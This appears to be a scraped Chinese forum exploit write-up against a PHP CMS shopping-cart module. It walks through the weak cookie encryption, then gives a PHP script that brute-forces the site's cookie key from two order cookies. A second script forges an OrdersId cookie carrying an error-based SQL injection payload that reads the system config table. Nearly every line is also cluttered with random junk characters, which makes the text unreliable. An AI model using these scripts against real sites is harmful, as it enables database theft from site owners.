www.xxx.com/plus/search.php?keyword=5 R5 `: A+ f" y3 M/ P( k o
在 include/shopcar.class.php中& N+ ]5 ?$ i5 w* Y4 u) j( U# U
先看一下这个shopcar类是如何生成cookie的- H; d# Q9 B ~( w6 {; K
239 function saveCookie($key,$value). g" z- e3 w. u1 C. O, t
240 {9 D! u. h( j @( {1 l8 h
241 if(is_array($value))
' n: ^# j, e5 `8 L3 l/ D0 g+ q" q242 {
4 T$ r: t) r- E9 i4 }) X) k6 t243 $value = $this->enCrypt($this->enCode($value));
}7 u; q$ S; j244 }
, y4 z% S% W n( N245 else
5 X0 S% W+ P8 f5 c246 {% {( F! C3 A* a1 h
247 $value = $this->enCrypt($value);- z1 Q3 b( R! Q3 \
248 }
& ~3 }" y7 K' x8 `8 o249 setcookie($key,$value,time()+36000,’/');- e; c/ u) _( x! ~
250 }
. d: G0 b9 w1 j简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数! O7 h7 m' L! A2 M
186 function enCrypt($txt); J2 V2 _" c" R# O
187 {7 D7 [- r {: Y6 u* L: m' b5 v" S4 } Y
188 srand((double)microtime() * 1000000);
- t# o: u& ~. f& [ @- Y189 $encrypt_key = md5(rand(0, 32000));
9 `7 d; E; o& s0 K1 N190 $ctr = 0;
; g9 J# e. {: c4 g# v( M3 D191 $tmp = ”;
# y7 ?( J" R: C N192 for($i = 0; $i < strlen($txt); $i++)% E6 J, c7 r4 |% J' i3 o
193 {
7 U# ^7 z _+ d1 f. z194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. \. ?0 c! w( s8 |195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);( i3 [2 \. O, s( Q8 g
196 }
& n' E$ T# T( r& X _/ l2 S197 return base64_encode($this->setKey($tmp));1 g+ r' E: x) _( n; c# d* _
198 }
% Z2 _. g; L6 Y5 q213 function setKey($txt)3 L1 D$ R7 u* j8 b
214 {$ L* x# A' c# l! }, G5 `
215 global $cfg_cookie_encode;
/ w- ~' p2 i- f6 d3 P: x4 o3 w' M216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
0 S4 L+ Q: V4 p217 $ctr = 0;
- J. F( {1 a/ A* ^6 V9 c218 $tmp = ”;" V' j# L5 e8 Z) W1 ]+ E
219 for($i = 0; $i < strlen($txt); $i++) s9 U: E1 k! C5 g
220 {( s; G1 x3 y" G# M4 p( A4 q
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 O$ F+ p. z& z2 w, ?- L/ J
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];- W- r4 b6 p9 h6 ]
223 }$ `; S/ P' e" X; n
224 return $tmp;
. H: ^: d; r$ D2 q" m225 }
& ]" A3 a0 H7 K+ ?/ e k6 DenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的3 R( r* M) \1 d* T5 a( Q
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。6 d) P* w8 e5 q
具体代码如下:
- F" N1 ]5 o( m1 \; _: @4 R<?php
) X; S/ ^ g& k+ i/ g; H/ r$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here1 m' Y: I# @$ W
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here. W# I+ D; ^' o1 E
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
* L! u2 O3 r% V4 Wfunction reStrCode($code,$string)
. V# R8 C/ d/ H7 j- G5 V{
. K+ W# ]) o% Q! F$code = base64_decode($code);
( i7 {- N! ^) t* ]2 ^$key = “”;
& E* k( ]& Y4 `; W; nfor($i=0 ; $i<32 ; $i++)! p. p4 \3 l# q( M$ p
{
$ w6 r$ B7 C' V; |; |$key .= $string[$i] ^ $code[$i];5 o- t7 L- S' a1 V7 Y; ^$ D
}6 F5 V9 u- T0 b) A- _0 z1 M. e E
return $key;- ]+ ?( t. ]6 m* m" F+ Z: P
}
% q, n S$ \* _( Qfunction getKeys($cookie,$plantxt)
0 O! p! _6 @/ T+ O! h! y( i: E{
5 T$ e! L& E; T$ d& Q$tmp = $cookie;4 K: n4 K& w& h# \2 j2 d
$results = array();
; B6 n; S$ ]3 @( Q# P: w$ Yfor($j=0 ; $j < 32000; $j++)
+ m2 H+ p: P5 h3 ^& F2 ^) }8 `{4 N% x: Q; v) N, h& z
0 _) c' l8 ?8 p7 m9 y7 o' `. v) J
$txt = $plantxt;
0 A( l, B7 Y& t# ?: K4 ^' b$ctr = 0;
% v+ G) B% N) c: B$tmp = ”;
+ R. ]8 i8 H) c8 h) P L$encrypt_key = md5($j);; X- i; P) R! }
for($i =0; $i < strlen($txt); $i ++)+ `& ^$ X2 h6 l8 B K3 z& v3 o& {
{# Z/ o4 G6 [2 v; ]# C5 V! a% H
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: t, G# M/ y8 j m' R# r
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
1 a) G; `0 K1 ?( T}
" I+ e8 h% ~! B% X9 E2 n$string = $tmp;9 g2 o0 t! @4 q: d" |* c" B2 K% W
$code = $cookie;
4 p3 o4 K$ [2 }; q8 q! R! V$result = reStrCode($code,$string);( C7 V5 y& t! T, V5 j, f# c0 A6 u& A1 o. `
if(eregi(‘^[a-z0-9]+$’,$result))
+ u M) S1 B k. d2 S8 x{$ x7 i# H1 k3 H( \# e
echo $result.”\n”;
" o; G8 T: \+ L5 l$results[] = $result;8 w0 T) J, {$ ^# q
}
6 M; e5 m, W4 z; d1 j}9 p7 D0 s0 q3 [( p9 n* [5 J
return $results;
2 q3 D- Q( {, i! U3 Y9 M, [$ ]}
* h) L+ \/ z8 P' C9 y$results1 = getKeys($cookie1,$plantxt);
7 U" @. k: I7 m6 l! q7 p/ S- h$results2 = getKeys($cookie2,$plantxt);0 X$ d! s9 V, f, V) v
print “\n——————–real key————————–\n”;
* _ D% [; {' O$ Y: gforeach($results1 as $test1)3 u2 Z- P! {* c, n% I- m, w. b
{$ D3 D$ D* M# A' y3 k' E
foreach($results2 as $test2)
4 x( O7 u3 ]1 n/ g& u{" j9 d0 n B W
if($test1 == $test2)1 ?9 O, L# b9 _
{
+ ]' u* z8 M. |7 b' decho $test1.”\n”;4 n- v* O4 C8 F" u
}
& U& _9 t3 W4 a% q}
" T8 T- {( w3 @# M7 X9 p}
6 o# ]; D l. K?>
- x. T! t- A3 ^9 Q1 c2 L. V0 e( Kcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
4 z% y) }* T0 f1 z2 V% L8 Xplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
, F$ L) ]% S# N) Y2 S D- ?然后推算出md5(strtolower($cfg_cookie_encode))
1 C+ t- W1 R2 \) t: E得到这个key之后,我们就可以构造任意购物车的cookie
6 a" f7 h) w, Z, p接着看! E- A; s$ u: V3 v3 x6 O8 m
20 class MemberShops
4 i7 p9 y7 x1 P3 o21 {2 j5 K" B' z& U, ^: i& u" E& G3 A
22 var $OrdersId;
! J1 |+ |( @* F6 ]- M# @23 var $productsId;
3 n6 B0 c, @ _+ G' }24/ g' H4 k% O x! Y$ b
25 function __construct()6 x) C* G5 d; }8 ~1 p+ o
26 { v m8 f! ^5 ?2 p/ c4 d" F' }% I: J
27 $this->OrdersId = $this->getCookie(“OrdersId”);+ A* \3 ?7 V- |6 _3 R+ M! m {4 U
28 if(empty($this->OrdersId))
+ J8 E% Q% }. P7 {0 u% ^29 { W' Z- ?* J1 P* w# {( b
30 $this->OrdersId = $this->MakeOrders();
6 p8 s# w/ _" O. W. e2 Y" I31 }
% c# E3 o3 V: J/ W$ i4 ]4 k( v32 }
* ~2 p. K$ p! m$ G) k. y |5 I( _$ P发现OrderId是从cookie里面获取的
" |8 i8 H; u; P* Z5 A& H* Z3 r然后) Y4 Y3 s0 Y: _$ B) h- L. G, P
/plus/carbuyaction.php中的- r! x. }" t9 j
29 $cart = new MemberShops();
- \6 P/ A! i. |. J39 $OrdersId = $cart->OrdersId; //本次记录的订单号$ t; ^# c0 s; m' F* F. _) i
……5 c2 i+ K) A" X9 s9 J9 F7 C/ C- h
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);% p9 }4 w8 Y) w9 b
接着我们就可以注入了& G" f9 Z! u4 z$ D4 `) E1 O
通过利用下面代码生成cookie:
3 C* M7 }! s. x<?php" j! u% M2 R" i" d1 g' Q+ v# _
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
% H& |3 Q2 \) f/ R6 E9 L( `$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
~# E7 Z9 P& W% c6 U7 Afunction setKey($txt)4 ?$ ~$ X" I# o$ z! W- N9 g q
{
0 ?/ O8 b$ ^6 p r' Z' Aglobal $encrypt_key;; f8 t4 B% A: M' w" }
$ctr = 0;7 P& p9 `8 |: }, Z
$tmp = ”;& Y( z, e& D5 _. N$ G
for($i = 0; $i < strlen($txt); $i++)0 P1 ]/ e; t) L9 k" ?
{" R2 h" l/ q6 p" M0 P$ _# d
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ ?* h W8 l1 x/ H$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];% c4 a7 Y1 j- ?& C; g! l; J
}
9 t) z2 o) E4 A4 nreturn $tmp;
! P& K. p4 L% l0 p}: U* u8 G, F+ h+ J3 |
function enCrypt($txt)
5 X+ n# ?0 @, ~" b+ H{
" N! ]; x3 w' Tsrand((double)microtime() * 1000000);
- K# z/ v4 q, M1 r6 B$encrypt_key = md5(rand(0, 32000));6 ^: z* t5 ~5 Z K( K* e8 Z% d( A
$ctr = 0;
5 u% d' M* O3 }4 r. `$tmp = ”;
7 @# `% q( `7 L% h/ G0 G" nfor($i = 0; $i < strlen($txt); $i++)
/ J, q! w' \; Q1 e. C{
$ V, q$ I% P: ~0 Z* O9 t$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 C) Y9 J8 V: O: ?7 {7 x
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);, \0 D5 W9 ?( [0 H% m0 i- c
}
5 E5 `1 }$ j9 l: ]/ K: ]return base64_encode(setKey($tmp));
9 ~6 Y$ a4 r8 Y4 c1 e}7 _3 S( n! G" A u" H
for($dest =0;$dest = enCrypt($txt);)
. a/ t5 S7 {0 G9 S{, T. @! V+ ?' K7 d3 z
if(!strpos($dest,’+'))* y. N# ]0 `, l4 U& m) w5 U5 a% ]4 H( @
{
! }; z- h6 o+ b7 Y& Z' L1 Abreak;
( M9 `5 b0 |7 K}2 o: F8 R+ r" p
}4 O2 _! j, r g
echo $dest.”\n”;. d! w. F# Z* x/ y
?>
; B, U" E1 K: k. t; R2 h z' n
8 c% O' Z' C7 ]. U6 V6 @ |